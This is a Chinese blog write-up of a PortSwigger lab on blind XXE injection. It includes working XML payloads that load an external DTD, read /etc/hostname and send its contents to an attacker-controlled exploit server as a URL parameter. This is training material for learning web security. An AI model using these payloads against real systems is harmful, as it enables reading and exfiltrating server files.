某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

      • SQL注入

      • 身份验证

      • 目录遍历

      • OS命令注入

      • 业务逻辑漏洞

      • 信息泄露

      • 访问控制

      • 文件上传漏洞

      • SSRF漏洞

      • XXE注入漏洞

        • 学徒-普通XXE-文件检索
        • 学徒-普通XXE-执行SSRF攻击
        • 从业者-盲XXE-带外交互
        • 从业者-盲XXE-XML参数实体
        • 从业者-盲XXE-外部DTD
          • 题目
          • 实操
        • 从业者-盲XXE-错误消息
        • 专家-盲XXE-本地DTD复用
        • 从业者-隐藏攻击面-XInclude攻击
        • 从业者-隐藏攻击面-文件上传中的XXE
    • 客户端

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 服务器端
  • XXE注入漏洞
clincat
2023-07-18
目录

从业者-盲XXE-外部DTD

# 实验室:通过恶意外部DTD 实现盲XXE数据外泄

# 题目

此实验室具有一个 “Check stock(库存检查)” 功能,它可以解析 XML 输入,但不会显示结果。

若要解决实验室问题,请泄露/etc/hostname文件的内容。

笔记

为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任意外部系统之间的交互。要解决实验室问题,必须使用Burp Collaborator的默认公共服务器。

实验室-从业者

通过恶意外部DTD 实现盲XXE数据外泄 >>

- name: 实验室-从业者
  desc: 通过恶意外部DTD 实现盲XXE数据外泄 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

来到首页,点击任意商品下方的 “View details” 进入详情页。

Not Found Image

在商品详情页的下方,可以看到一个库存检查功能。

启用浏览器代理,然后点击 “Check stock” 检查库存。

Not Found Image

将请求数据包转发至 Repeater 功能模块。

尝试注入经典的 XML 外部实体,实体被禁止使用。

Not Found Image

以 “参数实体” 的形式重新构造攻击载荷,并尝试触发带外交互:

<!DOCTYPE abc [ <!ENTITY % carsaid SYSTEM "http://你的域"> %carsaid; ]>
1
Not Found Image

切换至 Collaborator 选项卡,等待一会儿,可以看到域的 DNS/HTTP 信息,说明带外交互成功。

(可以点击 “Poll now” 立即刷新信息)

Not Found Image

带外交互成功,下一步是进行带外数据泄露。

回到实验室页面,点击上方的 “Go to exploit server” 进入漏洞利用服务器。

Not Found Image

漏洞利用服务器 提供了一个托管服务,我们可以定义自己的响应信息。

Not Found Image

通过页面上的 URL 链接可以访问该信息,默认返回了一段字符串 “Hello, world!”。

Not Found Image

重新定义响应内容,以 “参数实体” 的形式构造 XXE 攻击载荷。

该载荷会读取/etc/hostname的文件内容,然后将其附加到 URL 参数x当中,最后访问该 URL 并传递x参数值。

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; carsaid SYSTEM 'https://漏洞利用服务器的域/?x=%file;'>">
%eval;
%carsaid;
1
2
3
4

定义好之后,点击 “Store” 保存。

Not Found Image

再次访问链接,返回的内容已经发生了变化。

Not Found Image

回到 BurpSuite ,注入 XML 参数实体,并加载远程 DTD 文件。

(值得注意的是,实体的名称不能重复,否则会造成冲突)

<!DOCTYPE xyz [ <!ENTITY % said SYSTEM "https://漏洞利用服务器的域/exploit"> %said; ]>
1
Not Found Image

回到漏洞利用服务器,点击下方的 “Access log” 查看访问日志。

Not Found Image

在日志当中,可以看到一个 IP 地址为10.0.3.187的记录,它的请求由一个 Java 程序发出。说明 盲XXE 带外交互成功了。

  • 该程序先是请求了/exploit文件,获取远程 XML 文件的内容,并执行其中的 XML 参数实体。
  • 执行的过程中,将/etc/hostname的文件内容附加到x参数当中,并再次访问/?x=内容

从而造成带外数据泄露,获得主机名f0fe1d6f0be1。

Not Found Image

回到实验室主页,点击上方的 “Submit solution” 打开输入框,填入刚刚获得的主机名,然后点击 “确定” 。

Not Found Image

提交正确,实验完成。

Not Found Image
编辑 (opens new window)
从业者-盲XXE-XML参数实体
从业者-盲XXE-错误消息

← 从业者-盲XXE-XML参数实体 从业者-盲XXE-错误消息→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式